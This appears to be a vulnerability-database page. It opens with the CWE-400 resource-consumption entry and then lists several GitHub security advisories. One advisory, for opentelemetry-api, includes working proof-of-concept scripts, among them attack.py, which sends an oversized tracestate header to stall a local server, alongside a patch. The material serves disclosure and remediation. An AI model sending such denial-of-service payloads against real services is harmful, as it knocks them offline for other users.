CWE-400
Weakness DiscouragedUncontrolled Resource Consumption
Abstraction: Class · Status: Draft
The product does not properly control the allocation and maintenance of a limited resource.
Dimensions
- Behavior-Property: Uncontrolled
- Behavior-Type: Consumption
- Resource-Type: Resource
Mapping guidance
CWE-400 is intended for incorrect behaviors in which the product is expected to track and restrict how many resources it consumes, but CWE-400 is often misused because it is conflated with the "technical impact" of vulnerabilities in which resource consumption occurs. It is sometimes used for low-information vulnerability reports. It is a level-1 Class (i.e., a child of a Pillar).
Closely analyze the specific mistake that is causing resource consumption, and perform a CWE mapping for that mistake. Consider children/descendants.
Modes of introduction
The product could be operated in a system or environment with lower resource limits than expected, which might make it easier for attackers to consume all available resources.
The product could be configured with lower resource limits than expected, which might make it easier for attackers to consume all available resources.
The designer might not consider how to handle and throttle excessive resource requests, which typically requires careful planning to handle more gracefully than a crash or exit.
There are at least three distinct scenarios that can commonly lead to resource exhaustion:
Lack of throttling for the number of allocated resources.
Losing all references to a resource before reaching the shutdown stage.
Not closing/returning a resource after processing.
Resource exhaustion problems often occur due to an incorrect implementation of the following situations:
Error conditions and other exceptional circumstances.
Confusion over which part of the program is responsible for releasing the resource.
Detection methods
Automated Static Analysis
Automated static analysis typically has limited utility in recognizing resource exhaustion problems, except for program-independent system resources such as files, sockets, and processes. For system resources, automated static analysis may be able to detect circumstances in which resources are not released after they have expired. Automated analysis of configuration files may be able to detect settings that do not specify a maximum value.
Automated static analysis tools will not be appropriate for detecting exhaustion of custom resources, such as an intended security policy in which a bulletin board user is only allowed to make a limited number of posts per day.
Effectiveness: Limited
Automated Dynamic Analysis
Certain automated dynamic analysis techniques may be effective in spotting resource exhaustion problems, especially with resources such as processes, memory, and connections. The technique may involve generating a large number of requests to the product within a short time frame.
Effectiveness: Moderate
Fuzzing
While fuzzing is typically geared toward finding low-level implementation bugs, it can inadvertently find resource exhaustion problems. This can occur when the fuzzer generates a large number of test cases but does not restart the targeted product in between test cases. If an individual test case produces a crash, but it does not do so reliably, then an inability to handle resource exhaustion may be the cause.
Effectiveness: Opportunistic
Notes
Theoretical
Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect the underlying weaknesses that enable these attacks (or consequences) to take place.
Other
Database queries that take a long time to process are good DoS targets. An attacker would have to write a few lines of code to generate enough traffic to exceed the site's ability to keep up. This would effectively prevent authorized users from using the site at all. Resources can be exploited simply by ensuring that the target machine must do much more work and consume more resources in order to service a request than the attacker must do to initiate a request.
A prime example of this can be found in old switches that were vulnerable to "macof" attacks (so named for a tool developed by Dugsong). These attacks flooded a switch with random IP and MAC address combinations, therefore exhausting the switch's cache, which held the information of which port corresponded to which MAC addresses. Once this cache was exhausted, the switch would fail in an insecure way and would begin to act simply as a hub, broadcasting all traffic on all ports and allowing for basic sniffing attacks.
Limited resources include memory, file system storage, database connection pool entries, CPU, and others.
Content history
Suggested mappings to ISA/IEC 62443.
Suggested mappings to ISA/IEC 62443.
Provided diagram to improve CWE usability.
updated Time_of_Introduction
Suggested OWASP Top Ten 2004 mapping
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
updated Description, Name, Relationships
updated Description
updated Name, Relationships
updated Description, Relationships
updated Relationships
updated Common_Consequences, Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, Observed_Examples, Other_Notes, Potential_Mitigations, References
updated Detection_Factors, Potential_Mitigations, References, Taxonomy_Mappings
updated Related_Attack_Patterns
updated Description
updated Demonstrative_Examples
updated Common_Consequences, Relationships, Taxonomy_Mappings
updated Demonstrative_Examples, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
updated Relationships
updated Relationships, Taxonomy_Mappings
updated Related_Attack_Patterns, Relationships
updated Relationships
updated Applicable_Platforms, Demonstrative_Examples, Likelihood_of_Exploit, Potential_Mitigations, References, Relationships
updated References, Type
updated Alternate_Terms, Description, Name, Relationships, Taxonomy_Mappings, Theoretical_Notes
updated Related_Attack_Patterns, Relationships
updated Description, Relationships
updated Description, References, Related_Attack_Patterns, Relationships
updated Description, Maintenance_Notes
updated Relationships
updated Related_Attack_Patterns
updated Observed_Examples, Relationships
updated Observed_Examples, Relationships
updated Common_Consequences, Description, Detection_Factors, Maintenance_Notes, Related_Attack_Patterns, Taxonomy_Mappings
updated Demonstrative_Examples, Relationships, Taxonomy_Mappings
updated Mapping_Notes, Relationships
updated Relationships
updated Common_Consequences, Description, Diagram, Modes_of_Introduction, Other_Notes, Time_of_Introduction
updated Observed_Examples, References
updated Applicable_Platforms, Maintenance_Notes, Weakness_Ordinalities
updated Applicable_Platforms, Maintenance_Notes, Mapping_Notes, Other_Notes
updated Applicable_Platforms, Dimensions, References, Relationships, Taxonomy_Mappings
7197 vulnerabilities reference this CWE, most recent first.
GHSA-XC82-5M89-G4JV
Vulnerability from github – Published: 2023-08-02 21:30 – Updated: 2023-11-25 12:30Extremely large RSA keys in certificate chains can cause a client/server to expend significant CPU time verifying signatures. With fix, the size of RSA keys transmitted during handshakes is restricted to <= 8192 bits. Based on a survey of publicly trusted RSA keys, there are currently only three certificates in circulation with keys larger than this, and all three appear to be test certificates that are not actively deployed. It is possible there are larger keys in use in private PKIs, but we target the web PKI, so causing breakage here in the interests of increasing the default safety of users of crypto/tls seems reasonable.
{
"affected": [],
"aliases": [
"CVE-2023-29409"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-08-02T20:15:11Z",
"severity": "MODERATE"
},
"details": "Extremely large RSA keys in certificate chains can cause a client/server to expend significant CPU time verifying signatures. With fix, the size of RSA keys transmitted during handshakes is restricted to \u003c= 8192 bits. Based on a survey of publicly trusted RSA keys, there are currently only three certificates in circulation with keys larger than this, and all three appear to be test certificates that are not actively deployed. It is possible there are larger keys in use in private PKIs, but we target the web PKI, so causing breakage here in the interests of increasing the default safety of users of crypto/tls seems reasonable.",
"id": "GHSA-xc82-5m89-g4jv",
"modified": "2023-11-25T12:30:22Z",
"published": "2023-08-02T21:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-29409"
},
{
"type": "WEB",
"url": "https://go.dev/cl/515257"
},
{
"type": "WEB",
"url": "https://go.dev/issue/61460"
},
{
"type": "WEB",
"url": "https://groups.google.com/g/golang-announce/c/X0b6CsSAaYI/m/Efv5DbZ9AwAJ"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2023-1987"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202311-09"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20230831-0010"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-XCF7-Q56X-78GH
Vulnerability from github – Published: 2021-07-26 21:23 – Updated: 2023-08-30 18:51The package github.com/pires/go-proxyproto before 0.6.1 is vulnerable to Denial of Service (DoS) via creating connections without the proxy protocol header. While this issue was patched in 0.6.0, the fix introduced additional issues which were subsequently patched in 0.6.1.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/pires/go-proxyproto"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.6.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-23409"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2021-07-26T17:31:53Z",
"nvd_published_at": "2021-07-21T07:15:00Z",
"severity": "HIGH"
},
"details": "The package `github.com/pires/go-proxyproto` before 0.6.1 is vulnerable to Denial of Service (DoS) via creating connections without the proxy protocol header. While this issue was patched in 0.6.0, the fix introduced additional issues which were subsequently patched in 0.6.1.",
"id": "GHSA-xcf7-q56x-78gh",
"modified": "2023-08-30T18:51:53Z",
"published": "2021-07-26T21:23:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23409"
},
{
"type": "WEB",
"url": "https://github.com/pires/go-proxyproto/issues/65"
},
{
"type": "WEB",
"url": "https://github.com/pires/go-proxyproto/issues/75"
},
{
"type": "WEB",
"url": "https://github.com/pires/go-proxyproto/pull/74"
},
{
"type": "WEB",
"url": "https://github.com/pires/go-proxyproto/pull/74/commits/cdc63867da24fc609b727231f682670d0d1cd346"
},
{
"type": "WEB",
"url": "https://github.com/pires/go-proxyproto/pull/76"
},
{
"type": "WEB",
"url": "https://github.com/pires/go-proxyproto/commit/2e44d7a76a851d66890ab341403253afae5caac2"
},
{
"type": "PACKAGE",
"url": "https://github.com/pires/go-proxyproto"
},
{
"type": "WEB",
"url": "https://github.com/pires/go-proxyproto/releases/tag/v0.6.0"
},
{
"type": "WEB",
"url": "https://github.com/pires/go-proxyproto/releases/tag/v0.6.1"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2022-0233"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-GOLANG-GITHUBCOMPIRESGOPROXYPROTO-1316439"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "github.com/pires/go-proxyproto vulnerable to DoS via Connection descriptor exhaustion"
}
GHSA-XCJP-MJ7M-5F57
Vulnerability from github – Published: 2022-05-24 17:22 – Updated: 2023-03-03 15:30An issue was discovered in Xen through 4.13.x, allowing x86 Intel HVM guest OS users to cause a host OS denial of service or possibly gain privileges because of insufficient cache write-back under VT-d. When page tables are shared between IOMMU and CPU, changes to them require flushing of both TLBs. Furthermore, IOMMUs may be non-coherent, and hence prior to flushing IOMMU TLBs, a CPU cache also needs writing back to memory after changes were made. Such writing back of cached data was missing in particular when splitting large page mappings into smaller granularity ones. A malicious guest may be able to retain read/write DMA access to frames returned to Xen's free pool, and later reused for another purpose. Host crashes (leading to a Denial of Service) and privilege escalation cannot be ruled out. Xen versions from at least 3.2 onwards are affected. Only x86 Intel systems are affected. x86 AMD as well as Arm systems are not affected. Only x86 HVM guests using hardware assisted paging (HAP), having a passed through PCI device assigned, and having page table sharing enabled can leverage the vulnerability. Note that page table sharing will be enabled (by default) only if Xen considers IOMMU and CPU large page size support compatible.
{
"affected": [],
"aliases": [
"CVE-2020-15565"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-07-07T13:15:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in Xen through 4.13.x, allowing x86 Intel HVM guest OS users to cause a host OS denial of service or possibly gain privileges because of insufficient cache write-back under VT-d. When page tables are shared between IOMMU and CPU, changes to them require flushing of both TLBs. Furthermore, IOMMUs may be non-coherent, and hence prior to flushing IOMMU TLBs, a CPU cache also needs writing back to memory after changes were made. Such writing back of cached data was missing in particular when splitting large page mappings into smaller granularity ones. A malicious guest may be able to retain read/write DMA access to frames returned to Xen\u0027s free pool, and later reused for another purpose. Host crashes (leading to a Denial of Service) and privilege escalation cannot be ruled out. Xen versions from at least 3.2 onwards are affected. Only x86 Intel systems are affected. x86 AMD as well as Arm systems are not affected. Only x86 HVM guests using hardware assisted paging (HAP), having a passed through PCI device assigned, and having page table sharing enabled can leverage the vulnerability. Note that page table sharing will be enabled (by default) only if Xen considers IOMMU and CPU large page size support compatible.",
"id": "GHSA-xcjp-mj7m-5f57",
"modified": "2023-03-03T15:30:18Z",
"published": "2022-05-24T17:22:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-15565"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MXESCOVI7AVRNC7HEAMFM7PMEO6D3AUH"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VB3QJJZV23Z2IDYEMIHELWYSQBUEW6JP"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202007-02"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2020/dsa-4723"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00024.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00031.html"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2020/07/07/4"
},
{
"type": "WEB",
"url": "http://xenbits.xen.org/xsa/advisory-321.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XCPC-8H2W-3J85
Vulnerability from github – Published: 2026-07-10 18:32 – Updated: 2026-07-17 21:50adm-zip before 0.5.18 is vulnerable to denial of service via a crafted ZIP file with a manipulated uncompressed size header field. In zipEntry.js line 103, Buffer.alloc(_centralHeader.size) allocates memory based on the declared uncompressed size from the ZIP central directory header without validating it against the actual compressed data size or imposing any upper bound. The size value is read directly from the binary header at entryHeader.js line 266 with no bounds check. An attacker can craft a ~120-byte ZIP file that declares ~4GB uncompressed size, causing a memory allocation amplification ratio of over 33 million to 1. The allocation occurs before CRC validation, so the malicious payload cannot be rejected early. All extraction and read methods are affected: readFile(), readAsText(), extractEntryTo(), extractAllTo(), extractAllToAsync(), test(), and entry.getData(). Any application accepting untrusted ZIP files via adm-zip is vulnerable to immediate process crash.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "adm-zip"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-39244"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-789"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-17T21:50:08Z",
"nvd_published_at": "2026-07-10T17:16:57Z",
"severity": "HIGH"
},
"details": "adm-zip before 0.5.18 is vulnerable to denial of service via a crafted ZIP file with a manipulated uncompressed size header field. In zipEntry.js line 103, Buffer.alloc(_centralHeader.size) allocates memory based on the declared uncompressed size from the ZIP central directory header without validating it against the actual compressed data size or imposing any upper bound. The size value is read directly from the binary header at entryHeader.js line 266 with no bounds check. An attacker can craft a ~120-byte ZIP file that declares ~4GB uncompressed size, causing a memory allocation amplification ratio of over 33 million to 1. The allocation occurs before CRC validation, so the malicious payload cannot be rejected early. All extraction and read methods are affected: readFile(), readAsText(), extractEntryTo(), extractAllTo(), extractAllToAsync(), test(), and entry.getData(). Any application accepting untrusted ZIP files via adm-zip is vulnerable to immediate process crash.",
"id": "GHSA-xcpc-8h2w-3j85",
"modified": "2026-07-17T21:50:08Z",
"published": "2026-07-10T18:32:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39244"
},
{
"type": "WEB",
"url": "https://github.com/cthackers/adm-zip/issues/568"
},
{
"type": "WEB",
"url": "https://github.com/cthackers/adm-zip/commit/2450dcf417aa29df49270237d18c5245794da3e2"
},
{
"type": "PACKAGE",
"url": "https://github.com/cthackers/adm-zip"
},
{
"type": "WEB",
"url": "https://github.com/cthackers/adm-zip/releases"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "adm-zip: Crafted ZIP file triggers 4GB memory allocation"
}
GHSA-XCQ7-4PM7-XQ64
Vulnerability from github – Published: 2026-09-15 21:32 – Updated: 2026-09-15 21:32Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure). Supported versions that are affected are 17.0-26.7. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Siebel CRM Deployment. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Siebel CRM Deployment. CVSS 3.1 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
{
"affected": [],
"aliases": [
"CVE-2026-83222"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-15T20:18:33Z",
"severity": "HIGH"
},
"details": "Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure). Supported versions that are affected are 17.0-26.7. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Siebel CRM Deployment. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Siebel CRM Deployment. CVSS 3.1 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).",
"id": "GHSA-xcq7-4pm7-xq64",
"modified": "2026-09-15T21:32:22Z",
"published": "2026-09-15T21:32:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-83222"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cspusep2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XCQ7-P3PF-P88H
Vulnerability from github – Published: 2026-10-22 16:22 – Updated: 2026-10-22 16:22Summary
TraceState.from_header splits the inbound W3C tracestate header with a regular expression that starts with an unbounded optional-whitespace run, and no length limit is applied first. A run of spaces or tabs that is not followed by a comma costs O(N²) CPU. A single unauthenticated request with a ~100 KB tracestate keeps the handling worker busy for ~6 s (spaces) to ~12 s (tabs); under an asyncio server it blocks every other connection for that time.
Affected component / version
- Package:
opentelemetry-api(pip) —opentelemetry/trace/span.py(TraceState.from_header), reached fromopentelemetry/trace/propagation/tracecontext.py(TraceContextTextMapPropagator.extract). - Confirmed in
main(5e8083e8) and in the v1.44.0 and v1.45.0 tags; the same pattern is present back to v1.0.0 (introduced by #1599, March 2021). Not exhaustively verified against every release in between. - Reachable with the default propagators (
OTEL_PROPAGATORSdefaults totracecontext,baggage) from any server instrumentation that callspropagate.extract(), for exampleopentelemetry-instrumentation-asgi.
Details
- The header reaches the parser without any length check:
# opentelemetry-api/src/opentelemetry/trace/propagation/tracecontext.py:57
tracestate_headers = getter.get(carrier, self._TRACESTATE_HEADER_NAME) # <-- attacker-controlled request header(s), any size
if tracestate_headers is None:
tracestate = None
else:
tracestate = TraceState.from_header(tracestate_headers) # <-- no length check before parsing (line 61)
- The split pattern and the parser:
# opentelemetry-api/src/opentelemetry/trace/span.py:45
_TRACECONTEXT_MAXIMUM_TRACESTATE_KEYS = 32 # <-- only enforced later, in TraceState.__init__, after the split
_delimiter_pattern = re.compile(r"[ \t]*,[ \t]*") # <-- (line 46) starts with an unbounded [ \t]*
# span.py:382
@classmethod
def from_header(cls, header_list: list[str]) -> TraceState:
pairs = {} # type: dict[str, str]
for header in header_list:
members: list[str] = re.split(_delimiter_pattern, header) # <-- (line 400) VULNERABLE: O(N^2) on "a=b" + " " * N + "x"
for member in members:
if not member:
continue
match = _member_pattern.fullmatch(member)
if not match:
_logger.warning( # <-- also logs the entire malformed member (up to the whole header)
"Member doesn't match the w3c identifiers format %s",
member,
)
return cls()
...
re.split tries the pattern at every offset. At each offset inside a whitespace run, [ \t]* consumes the rest of the run, finds no ,, backtracks and fails, then the engine moves one character forward and repeats. N characters × up to N steps each = O(N²). The 32-member limit never gets a chance to run because split has to finish first.
- The sibling propagator already has the missing guard:
# baggage/propagation/__init__.py:68
_MAX_HEADER_LENGTH = 8192
...
if len(header.encode()) > self._MAX_HEADER_LENGTH: # <-- (line 93) rejected before any regex runs; tracestate has no equivalent
_logger.warning(...)
return context
A 16 KiB header costs ≈ 0.25 s and an 8 KiB header ≈ 0.07 s.
Measured cost of extract() on one core (valid traceparent, tracestate: "a=b" + N spaces + "x"): the time quadruples each time N doubles (see the proof of concept). Roughly 0.06 s at 10,000 characters, 1 s at 40,000, 4 s at 80,000, 9 s at 100,000 (tabs are about 1.6× slower).
Whether a server lets such a header through (header-size limits, tested): gunicorn rejects ≥ 8190 bytes (response code 431); uvicorn --http h11 rejects above 16 KiB (400); waitress accepts up to 256 KiB (200 KB accepted, 300 KB rejected); uvicorn --http httptools — the default parser with uvicorn[standard] — accepted 300 KB, 1 MB, 5 MB and 20 MB tracestate headers.
Proof of concept
A. Show the quadratic cost (no server needed)
- Install the API:
pip install opentelemetry-api(any version from 1.0 up to the current main is affected). - Save as
poc_tracestate.py:
import logging
import time
from opentelemetry.trace.propagation.tracecontext import TraceContextTextMapPropagator
# The library logs the whole malformed member at WARNING; silence it so the timings stay readable.
logging.disable(logging.CRITICAL)
TRACEPARENT = "00-0af7651916cd43dd8448eb211c80319c-b7ad6b7169203331-01"
propagator = TraceContextTextMapPropagator()
previous = None
for n in (10_000, 20_000, 40_000, 80_000):
# N spaces after a valid member, no comma anywhere in the header
carrier = {"traceparent": TRACEPARENT, "tracestate": "a=b" + " " * n + "x"}
start = time.perf_counter()
propagator.extract(carrier)
elapsed = time.perf_counter() - start
growth = f"x{elapsed / previous:.1f}" if previous else "-"
print(f"{n:>7} characters {elapsed:6.2f} s growth when size doubles: {growth}")
previous = elapsed
- Run
python poc_tracestate.py. - What to observe: the time grows by about ×4 every time the input size doubles (a linear parser would show ×2). Absolute numbers depend on the CPU; the growth factor does not. Our run:
10000 characters 0.06 s growth when size doubles: -
20000 characters 0.26 s growth when size doubles: x4.0
40000 characters 1.04 s growth when size doubles: x4.0
80000 characters 4.13 s growth when size doubles: x4.0
Replace " " with "\t" to see ≈1.6× longer.
B. Show that one request stalls a real server
This uses OpenTelemetryMiddleware from opentelemetry-instrumentation-asgi around a trivial ASGI app and the default uvicorn[standard] parser (httptools).
- Install:
pip install opentelemetry-api opentelemetry-instrumentation-asgi "uvicorn[standard]". - Save as
app.py:
from opentelemetry.instrumentation.asgi import OpenTelemetryMiddleware
async def app(scope, receive, send):
await send({"type": "http.response.start", "status": 200, "headers": [(b"content-type", b"text/plain")]})
await send({"type": "http.response.body", "body": b"ok"})
app = OpenTelemetryMiddleware(app)
- Start the server in one terminal:
uvicorn app:app --host 127.0.0.1 --port 8000 --http httptools - Save as
attack.py:
"""Send one oversized tracestate request and, while it is being handled,
measure how long an unrelated request to the same server has to wait."""
import socket
import sys
import threading
import time
HOST, PORT = "127.0.0.1", 8000
N = int(sys.argv[1]) if len(sys.argv) > 1 else 100_000
TRACEPARENT = "00-0af7651916cd43dd8448eb211c80319c-b7ad6b7169203331-01"
def get(path, extra=""):
s = socket.create_connection((HOST, PORT), timeout=120)
s.sendall(f"GET {path} HTTP/1.1\r\nHost: x\r\nConnection: close\r\n{extra}\r\n".encode())
start, data = time.perf_counter(), b""
while chunk := s.recv(65536):
data += chunk
return time.perf_counter() - start, data.split(b"\r\n")[0].decode()
result = {}
extra = f"traceparent: {TRACEPARENT}\r\ntracestate: a=b{' ' * N}x\r\n"
attacker = threading.Thread(target=lambda: result.update(a=get("/attack", extra)))
print("idle /ping: %.3f s %s" % get("/ping"))
attacker.start()
time.sleep(0.5) # let the attack request reach the server first
print("/ping during the attack: %.3f s %s" % get("/ping"))
attacker.join()
print("attack request itself: %.3f s %s" % result["a"])
- In a second terminal run
python attack.py 100000. - What to observe: the idle
/pinganswers in milliseconds, but a/pingsent half a second after the attack request has to wait for the attack request to finish, even though it is a different, innocent request. Our run:
idle /ping: 0.000 s HTTP/1.1 200 OK
/ping during the attack: 5.909 s HTTP/1.1 200 OK <-- unrelated request delayed ~6 s (event loop blocked)
attack request itself: 6.408 s HTTP/1.1 200 OK
- Start the server with
--http h11instead and run the same command: the attack request is rejected immediately (400 Bad Request, h11 header cap) and/pingis not delayed. Our measurements for--http httptools: 30,000 spaces → 0.59 s; 100,000 spaces → 6.57 s with the concurrent/pingdelayed 6.07 s; 100,000 tabs → 12.39 s with the concurrent/pingdelayed 11.89 s.
Severity
Likelihood: Low. Any unauthenticated client can trigger it with one request on the default propagators, but only on servers that accept headers larger than roughly 16–30 KB.
Impact: Medium. One request of about 100 KB costs 6–12 s of server CPU and, under an asyncio server, stalls every other connection for that time; repeating it keeps the service unavailable.
Severity: Medium.
Suggested remediation
Replace the regex split with a plain split and strip; this removes the quadratic behaviour and is equivalent on valid input:
--- a/opentelemetry-api/src/opentelemetry/trace/span.py
+++ b/opentelemetry-api/src/opentelemetry/trace/span.py
@@ def from_header(cls, header_list: list[str]) -> TraceState:
for header in header_list:
- members: list[str] = re.split(_delimiter_pattern, header)
+ members: list[str] = [m.strip(" \t") for m in header.split(",")]
_delimiter_pattern (line 46) is then unused and can be removed. We also suggest rejecting a header longer than the W3C limit (512 characters for the list) before parsing, the way the baggage propagator does with _MAX_HEADER_LENGTH. On valid input the two forms return identical members (empty members preserved); the only behaviour change is that a header with leading whitespace is now accepted instead of producing an empty TraceState, which is more spec-compliant. Cost at N = 100,000 drops from ~9 s to ~5e-5 s.
Credit
Discovered and reported by SecDim Security Research secdim.com | @secdim | security@secdim.com
FROM MAINTAINERS
Summary
TraceState.from_header() in opentelemetry-api used a regular-expression-based operation whose processing time could grow disproportionately when parsing specially crafted inbound tracestate headers.
Because W3C Trace Context is enabled by default in OpenTelemetry Python, services accepting untrusted propagation headers could spend excessive CPU time processing a single request.
Impact
Services accepting untrusted inbound propagation headers may experience increased per-request CPU usage when processing malformed tracestate values. In synchronous servers, this may keep a worker occupied. In asynchronous servers, CPU-intensive parsing may delay other requests handled by the same event loop.
The practical impact depends on the HTTP server, HTTP parser, and any upstream request-header limits. Common servers and proxies may reject oversized headers before they reach the application, while custom carriers or deployments with increased header limits may accept substantially larger values.
Unlike optional propagation formats, W3C Trace Context is part of the default OpenTelemetry Python propagation configuration.
The impact is limited to availability. This issue does not expose or modify telemetry data and does not allow code execution.
Patches
Versions of opentelemetry-api up to and including 1.45.0 are affected.
Upgrade opentelemetry-api to version 1.45.1 or later.
Version 1.45.1 replaces the affected parsing operation with linear-time processing and discards combined tracestate headers longer than 8,192 characters.
Workarounds
Ensure HTTP header size limits are configured at the server or gateway level. Most Python HTTP servers enforce an 8 KiB header limit by default, which mitigates external attack vectors independently of this fix.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.45.0"
},
"package": {
"ecosystem": "PyPI",
"name": "opentelemetry-api"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.45.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-114603"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-22T16:22:07Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n`TraceState.from_header` splits the inbound W3C `tracestate` header with a regular expression that starts with an unbounded optional-whitespace run, and no length limit is applied first. A run of spaces or tabs that is not followed by a comma costs O(N\u00b2) CPU. A single unauthenticated request with a ~100 KB `tracestate` keeps the handling worker busy for ~6 s (spaces) to ~12 s (tabs); under an asyncio server it blocks every other connection for that time.\n\n## Affected component / version\n- Package: `opentelemetry-api` (pip) \u2014 `opentelemetry/trace/span.py` (`TraceState.from_header`), reached from `opentelemetry/trace/propagation/tracecontext.py` (`TraceContextTextMapPropagator.extract`).\n- Confirmed in `main` (5e8083e8) and in the v1.44.0 and v1.45.0 tags; the same pattern is present back to v1.0.0 (introduced by #1599, March 2021). Not exhaustively verified against every release in between.\n- Reachable with the default propagators (`OTEL_PROPAGATORS` defaults to `tracecontext,baggage`) from any server instrumentation that calls `propagate.extract()`, for example `opentelemetry-instrumentation-asgi`.\n\n## Details\n\n1. The header reaches the parser without any length check:\n\n```python\n# opentelemetry-api/src/opentelemetry/trace/propagation/tracecontext.py:57\ntracestate_headers = getter.get(carrier, self._TRACESTATE_HEADER_NAME) # \u003c-- attacker-controlled request header(s), any size\nif tracestate_headers is None:\n tracestate = None\nelse:\n tracestate = TraceState.from_header(tracestate_headers) # \u003c-- no length check before parsing (line 61)\n```\n\n2. The split pattern and the parser:\n```python\n# opentelemetry-api/src/opentelemetry/trace/span.py:45\n_TRACECONTEXT_MAXIMUM_TRACESTATE_KEYS = 32 # \u003c-- only enforced later, in TraceState.__init__, after the split\n_delimiter_pattern = re.compile(r\"[ \\t]*,[ \\t]*\") # \u003c-- (line 46) starts with an unbounded [ \\t]*\n\n# span.py:382\n@classmethod\ndef from_header(cls, header_list: list[str]) -\u003e TraceState:\n pairs = {} # type: dict[str, str]\n for header in header_list:\n members: list[str] = re.split(_delimiter_pattern, header) # \u003c-- (line 400) VULNERABLE: O(N^2) on \"a=b\" + \" \" * N + \"x\"\n for member in members:\n if not member:\n continue\n match = _member_pattern.fullmatch(member)\n if not match:\n _logger.warning( # \u003c-- also logs the entire malformed member (up to the whole header)\n \"Member doesn\u0027t match the w3c identifiers format %s\",\n member,\n )\n return cls()\n ...\n```\n\n`re.split` tries the pattern at every offset. At each offset inside a whitespace run, `[ \\t]*` consumes the rest of the run, finds no `,`, backtracks and fails, then the engine moves one character forward and repeats. N characters \u00d7 up to N steps each = O(N\u00b2). The 32-member limit never gets a chance to run because `split` has to finish first.\n\n3. The sibling propagator already has the missing guard:\n```python\n# baggage/propagation/__init__.py:68\n_MAX_HEADER_LENGTH = 8192\n...\nif len(header.encode()) \u003e self._MAX_HEADER_LENGTH: # \u003c-- (line 93) rejected before any regex runs; 